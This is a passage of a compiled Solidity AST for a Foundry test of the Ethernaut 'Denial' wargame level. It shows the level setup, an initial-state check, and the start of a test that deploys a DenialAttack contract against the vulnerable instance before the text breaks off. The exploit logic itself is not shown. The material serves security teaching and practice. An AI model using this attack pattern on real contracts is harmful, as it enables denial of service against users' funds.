memory"}},"nodeType":"VariableDeclarationStatement","src":"749:47:124"},{"expression":{"id":59557,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59553,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59541,"src":"807:5:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59554,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59548,"src":"815:5:124","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59556,"indexExpression":{"hexValue":"30","id":59555,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"821:1:124","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"815:8:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"807:16:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59558,"nodeType":"ExpressionStatement","src":"807:16:124"},{"expression":{"arguments":[{"id":59562,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59541,"src":"842:5:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":59563,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"849:7:124","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":59559,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"833:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"836:5:124","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"833:8:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59564,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"833:24:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59565,"nodeType":"ExpressionStatement","src":"833:24:124"},{"expression":{"id":59570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59566,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59543,"src":"868:6:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":59567,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59548,"src":"877:5:124","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":59569,"indexExpression":{"hexValue":"31","id":59568,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"883:1:124","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"877:8:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"868:17:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":59571,"nodeType":"ExpressionStatement","src":"868:17:124"},{"expression":{"arguments":[{"id":59575,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59543,"src":"904:6:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":59576,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"912:8:124","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":59572,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"895:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59574,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"898:5:124","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"895:8:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":59577,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"895:26:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59578,"nodeType":"ExpressionStatement","src":"895:26:124"},{"expression":{"arguments":[{"id":59582,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59541,"src":"946:5:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59579,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"932:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59581,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"935:10:124","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"932:13:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59583,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"932:20:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59584,"nodeType":"ExpressionStatement","src":"932:20:124"},{"expression":{"id":59589,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59585,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59536,"src":"962:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":59587,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59541,"src":"1001:5:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59586,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"974:26:124","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":59588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"974:33:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"962:45:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59590,"nodeType":"ExpressionStatement","src":"962:45:124"},{"assignments":[59593],"declarations":[{"constant":false,"id":59593,"mutability":"mutable","name":"factory","nameLocation":"1031:7:124","nodeType":"VariableDeclaration","scope":59644,"src":"1017:21:124","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"},"typeName":{"id":59592,"nodeType":"UserDefinedTypeName","pathNode":{"id":59591,"name":"DenialFactory","nameLocations":["1017:13:124"],"nodeType":"IdentifierPath","referencedDeclaration":50570,"src":"1017:13:124"},"referencedDeclaration":50570,"src":"1017:13:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}},"visibility":"internal"}],"id":59598,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1041:17:124","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DenialFactory_$50570_$","typeString":"function () returns (contract DenialFactory)"},"typeName":{"id":59595,"nodeType":"UserDefinedTypeName","pathNode":{"id":59594,"name":"DenialFactory","nameLocations":["1045:13:124"],"nodeType":"IdentifierPath","referencedDeclaration":50570,"src":"1045:13:124"},"referencedDeclaration":50570,"src":"1045:13:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}}},"id":59597,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1041:19:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}},"nodeType":"VariableDeclarationStatement","src":"1017:43:124"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":59605,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59593,"src":"1108:7:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}],"id":59604,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1100:7:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59603,"name":"address","nodeType":"ElementaryTypeName","src":"1100:7:124","typeDescriptions":{}}},"id":59606,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1100:16:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59602,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1094:5:124","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59607,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:23:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":59599,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59536,"src":"1070:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":59601,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1080:13:124","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1070:23:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":59608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:48:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59609,"nodeType":"ExpressionStatement","src":"1070:48:124"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59610,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1128:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59612,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1131:9:124","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1128:12:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:14:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59614,"nodeType":"ExpressionStatement","src":"1128:14:124"},{"expression":{"arguments":[{"id":59618,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59543,"src":"1167:6:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59615,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1153:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59617,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1156:10:124","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1153:13:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1153:21:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59620,"nodeType":"ExpressionStatement","src":"1153:21:124"},{"expression":{"id":59637,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":59621,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59539,"src":"1184:8:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":59626,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59536,"src":"1230:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":59630,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59593,"src":"1255:7:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DenialFactory_$50570","typeString":"contract DenialFactory"}],"id":59629,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1247:7:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59628,"name":"address","nodeType":"ElementaryTypeName","src":"1247:7:124","typeDescriptions":{}}},"id":59631,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1247:16:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59627,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1241:5:124","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":59632,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1241:23:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":59633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1266:11:124","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":59625,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1210:19:124","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":59634,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1210:68:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":59624,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1202:8:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":59623,"name":"address","nodeType":"ElementaryTypeName","src":"1202:8:124","stateMutability":"payable","typeDescriptions":{}}},"id":59635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1202:77:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":59622,"name":"Denial","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50459,"src":"1195:6:124","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Denial_$50459_$","typeString":"type(contract Denial)"}},"id":59636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1195:85:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"src":"1184:96:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}},"id":59638,"nodeType":"ExpressionStatement","src":"1184:96:124"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":59639,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1290:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1293:9:124","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1290:12:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":59642,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1290:14:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59643,"nodeType":"ExpressionStatement","src":"1290:14:124"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"724:5:124","parameters":{"id":59544,"nodeType":"ParameterList","parameters":[],"src":"729:2:124"},"returnParameters":{"id":59545,"nodeType":"ParameterList","parameters":[],"src":"739:0:124"},"scope":59705,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59666,"nodeType":"FunctionDefinition","src":"1563:132:124","nodes":[],"body":{"id":59665,"nodeType":"Block","src":"1590:105:124","nodes":[],"statements":[{"expression":{"arguments":[{"id":59652,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59543,"src":"1609:6:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59649,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1600:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59651,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1603:5:124","memberName":"prank","nodeType":"MemberAccess","referencedDeclaration":15326,"src":"1600:8:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1600:16:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59654,"nodeType":"ExpressionStatement","src":"1600:16:124"},{"expression":{"arguments":[{"arguments":[{"id":59657,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59536,"src":"1658:9:124","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":59660,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59539,"src":"1677:8:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":59659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1669:7:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59658,"name":"address","nodeType":"ElementaryTypeName","src":"1669:7:124","typeDescriptions":{}}},"id":59661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1669:17:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":59656,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1638:19:124","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":59662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1638:49:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":59655,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1626:11:124","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":59663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1626:62:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59664,"nodeType":"ExpressionStatement","src":"1626:62:124"}]},"documentation":{"id":59646,"nodeType":"StructuredDocumentation","src":"1495:63:124","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1572:8:124","parameters":{"id":59647,"nodeType":"ParameterList","parameters":[],"src":"1580:2:124"},"returnParameters":{"id":59648,"nodeType":"ParameterList","parameters":[],"src":"1590:0:124"},"scope":59705,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":59704,"nodeType":"FunctionDefinition","src":"1750:255:124","nodes":[],"body":{"id":59703,"nodeType":"Block","src":"1778:227:124","nodes":[],"statements":[{"expression":{"arguments":[{"id":59673,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59543,"src":"1802:6:124","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":59670,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1788:2:124","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":59672,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1791:10:124","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1788:13:124","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":59674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1788:21:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":59675,"nodeType":"ExpressionStatement","src":"1788:21:124"},{"assignments":[59678],"declarations":[{"constant":false,"id":59678,"mutability":"mutable","name":"denialAttack","nameLocation":"1833:12:124","nodeType":"VariableDeclaration","scope":59703,"src":"1820:25:124","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"},"typeName":{"id":59677,"nodeType":"UserDefinedTypeName","pathNode":{"id":59676,"name":"DenialAttack","nameLocations":["1820:12:124"],"nodeType":"IdentifierPath","referencedDeclaration":49174,"src":"1820:12:124"},"referencedDeclaration":49174,"src":"1820:12:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"}},"visibility":"internal"}],"id":59683,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":59681,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1848:16:124","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_DenialAttack_$49174_$","typeString":"function () returns (contract DenialAttack)"},"typeName":{"id":59680,"nodeType":"UserDefinedTypeName","pathNode":{"id":59679,"name":"DenialAttack","nameLocations":["1852:12:124"],"nodeType":"IdentifierPath","referencedDeclaration":49174,"src":"1852:12:124"},"referencedDeclaration":49174,"src":"1852:12:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"}}},"id":59682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1848:18:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"}},"nodeType":"VariableDeclarationStatement","src":"1820:46:124"},{"expression":{"arguments":[{"arguments":[{"id":59689,"name":"denialAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59678,"src":"1912:12:124","typeDescriptions":{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DenialAttack_$49174","typeString":"contract DenialAttack"}],"id":59688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1904:7:124","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":59687,"name":"address","nodeType":"ElementaryTypeName","src":"1904:7:124","typeDescriptions":{}}},"id":59690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1904:21:124","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":59684,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":59539,"src":"1876:8:124","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract 